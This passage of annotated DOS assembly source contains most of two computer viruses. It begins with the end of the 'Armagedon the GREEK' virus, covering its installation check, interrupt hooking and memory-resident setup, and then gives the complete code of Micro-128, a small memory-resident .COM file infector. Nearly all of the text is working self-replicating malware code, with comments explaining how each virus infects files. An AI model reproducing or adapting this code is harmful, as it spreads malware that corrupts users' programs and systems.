      mov     byte ptr [Ports_Initialized],ah
    
    Ret_Write_Ports:
      ret
    
    ;****************************************************************************
    ;                        Virus Entry Point
    ;****************************************************************************
    
    Virus_Entry:
      mov     ah,0e0
      int     21                      ;Check for Installation
      cmp     ax,0dada                ;Was it installed?
      jne     Install_Virus           ;No? Then install it.
      jmp     Already_Installed       ;Yes? Go to Already_Installed
    Install_Virus:
      push    cs
      pop     ds
      mov     ax,3521                     ;Get Int 21 Address
      int     21
    
      mov     word ptr [Int_21_Off],bx    ;Save old Int 21
      mov     word ptr [Int_21_Seg],es    ;Vector
      mov     dx,offset Int_21
      mov     ax,2521
      int     21                          ;Set Int 21
    
      mov     ax,3508
      int     21                          ;Get Int 8 Address
    
      mov     word ptr [Int_08_Off],bx
      mov     word ptr [Int_08_Seg],es    ;Save old Vectors
      mov     dx,offset Int_08
      mov     ax,2508
      int     21                          ;Set Int 08
    
      mov     ah,2C
      int     21                          ;Get Time
    
      mov     byte ptr [save_time_a],ch
      mov     byte ptr [save_time_b],cl  ;Save Time and Date
      mov     byte ptr [save_date],dh
    
      mov     ax,cs:[2c]              ;Get environment block
      mov     ds,ax                   ;address and put it in DS
      xor     si,si                   ;DS:SI=beginning of Env. B.
    Find_The_Filename:
      mov     al,[si]                 ;Search through environment
      cmp     al,1                    ;block for program executed.
      je      Found_Filename
      inc     si
      jmp     short Find_The_Filename
    
    Found_Filename:
      inc     si
      inc     si
      mov     dx,si                 ;DS:DX = Filename
      mov     ax,cs
      mov     es,ax                 ;Set segment (ES) = CS
      mov     bx,5a                 ;Request 5a0h (1440 dec) bytes
      mov     ah,4a
      int     21                    ;Change Allocated Memory
    
      mov     bx,word ptr cs:[81]   ;Beginning of Command Line
      mov     ax,cs
      mov     es,ax                 ;set ES=CS again.
      mov     word ptr cs:[cs_save_1],ax
      mov     word ptr cs:[cs_save_2],ax   ;Re-Execute program
      mov     word ptr cs:[cs_save_3],ax   ;To make Int 27 cause
      mov     ax,4B00                      ;program to go mem-res
      mov     word ptr cs:[save_ss],ss     ;without terminating
      mov     word ptr cs:[save_sp],sp     ;regular program.
      pushf
      ;call    far cs:[Int_21_Off]         ;Call Load and Execute
      db      2e,0ff,1e,22,01
    
      mov     ax,word ptr cs:[save_ss]
      mov     ss,ax
      mov     ax,word ptr cs:[save_sp]        ;Restore Stack
      mov     sp,ax
      mov     ax,cs
      mov     ds,ax
      mov     dx,537                 ;DX=End of virus
      int     27                     ;Terminate & stay resident
    Already_Installed:
      mov     ah,0E1                  ;Get CS of virus in memory
      int     21
      mov     si,offset Install_Jump
      mov     cs:[si+3],ax            ;Setup Jump
      mov     ax,offset After_Jump
      mov     cs:[si+1],ax
      mov     ax,word ptr cs:[file_size]
      mov     bx,cs
    
    Install_Jump:
      db      0ea
    IP_For_Jump     db      0,0
    CS_For_Jump     db      0,0
    
    After_Jump:
      mov     cx,ax
      mov     ds,bx
      mov     si,100
      mov     di,offset storage_bytes
    
    Restore_File:                       ;Restore File in memory
      mov     al,[di]
      mov     [si],al
      inc     si
      inc     di
      loop    Restore_File
    
      mov     si,offset return_jump
      mov     cs:[si+3],ds              ;set host segment
      mov     al,byte ptr ds:[100]      ;Get first byte of host,
      sub     al,0bh                    ;then unencrypt first byte
      mov     byte ptr ds:[100],al      ;of Storage_Bytes
      mov     ax,ds                     ;and restore it
      mov     es,ax                     ;restore ES and SS to point
      mov     ss,ax                     ;to DS/CS
    
    ;*              jmp     far ptr start            ;Return control to COM file
    return_jump:
      db      0ea
    host_offset     db      00,01
    host_segment    db      07,13
    
    Text_Message    db      'Armagedon the GREEK'
    
    end_main_virus:
    Storage_Bytes   db      0D8,20                    ;First Byte Encrypted
    
    end_of_vir:
    word_space      db      8 dup (?)
    
    new_DTA :
    end     start
    ;**************************************************************************
    
    ;***************************************************************************
    ;*                            Micro-128                                    *
    ;***************************************************************************
    ;*     The Micro-128 virus was, for a while, the smallest known memory     *
    ;*resident non-overwriting .COM infector.  It copies itself onto the       *
    ;*interrupt table and hooks Int 21h so that, while in memory, it stores    *
    ;*Int 21's address in the Int E0 field.  This allows it to simple call     *
    ;*Int E0 when it wants an Int 21h.  While it does have a few nice tricks   *
    ;*in it to make it compact, it is a fairly simple virus and is easy to     *
    ;*understand.                                                              *
    ;*                                                                         *
    ;*Note: Micro-128 was originally assembled with an assembler other than    *
    ;*      my version of TASM, so to keep the bytes for XOR exactly the same  *
    ;*      all XOR's are entered directly, with their assembler commands      *
    ;*      commented out.                                                     *
    ;***************************************************************************
    .model  tiny
    .code
     org     100h
    
    start:
      db      0e9h,03h,0              ;Jmp Virus_Entry
      nop
      int     20h
    Virus_Entry:
      mov     di,100h
      push    di
      mov     si,di
      add     si,[di+1]               ;Get offset
      movsw                           ;Restore Storage Bytes
      movsb
    
    Copy_Virus:
    
      ;xor     ax,ax                   ;Set ES = 0 (Interrupt Table)
      db       31h, 0c0h
    
      mov     es,ax
      mov     di,303h                 ;Space in Int Table
      mov     cl,7Dh                  ;Virus Size
      rep     movsb                   ;Copy Virus.
      scasw                           ;ES:DI = 0?
      jnz     Done_Install            ;No, Already Installed.
      std                             ;Set direction flag so that
          ;stosw stores, then decrements
          ;SI and DI.
    
    Hook_Int_21:
      xchg    ax,es:[di+0FD04h]       ;DI+FD04h = 86h the first time,
          ;and 84h the second.  These are
          ;Int 21h's Segment and Offset
          ;respectively.
    
      stosw                           ;Stores old handler to
          ;CS_21 and IP_21.
    
      mov     ax,33Fh                 ;New offset of Int 21 Handler.
      cmc                             ;Complement carry
      jc      Hook_Int_21             ;jump Hook_Int_21
    
      cld                             ;Clear direction flag.
    
    Done_Install:
      push    cs                      ;Return to Host.
      pop     es
      ret
    
    Go_Beginning:
      mov     al,0                    ;Setup to go from beginning of
          ;file
    Move_FP:
      mov     ah,42h                  ;Move File pointer
      ;xor     cx,cx                   ;Zero Segment and Offset,
      db      31h,0c9h
    
      ;xor     dx,dx                   ;Go to either beginning or end.
      db      31h,0d2h
    
      int     0E0h
      mov     cl,3                     ;Used to make code tighter.
      mov     dh,3
      retn
    
      db      0e9h,03h,0                  ;Jump Inside_21
    
    Int_21_Handler:
      cmp     ah,4bh
    Inside_21:
      jnz     Go_Int_21                   ;Jump if not execute.
    
      push    ax bx dx ds                 ;Save registers
    
      mov     ax,3D02h                    ;Open File Read/Write
      int     0E0h
      jc      Close_File
      mov     bx,ax                       ;Move file handle to BX
    
      push    cs
      pop     ds
    
      call    Go_Beginning            ;Go to start of file
    
      mov     ah,3Fh                  ;DX=300 CX=3
      int     0E0h                    ;Read 3 bytes from file
    
      cmp     byte ptr ds:[300h],'M'    ;Is it an .EXE?
      je      Close_File              ;If so, close.
    
      dec     ax                      ;AX = 2 (AX = 3 from read)
      call    Move_FP                 ;Go to end of file.
      mov     ds:[33dh],ax            ;Save file length
    
      mov     ah,40h                  ;Write virus to file
      mov     cl,80h                  ;128 bytes.
      int     0E0h
    
      call    Go_Beginning            ;Go back to the beginning
      mov     dl,3Ch                  ;and write in jump.
      mov     ah,40h
      int     0E0h
    Close_File:
      mov     ah,3Eh                  ;Close file
      int     0E0h
      pop     ds dx bx ax
    
    Go_Int_21:
     db      0EAh
    IP_21   dw      ?                               ;When in memory, these are
    CS_21   dw      ?                               ;Located at the entry for
          ;Int E0h, making any call to
          ;that interrupt go to INT 21h.
    end     start
    ;********************************************************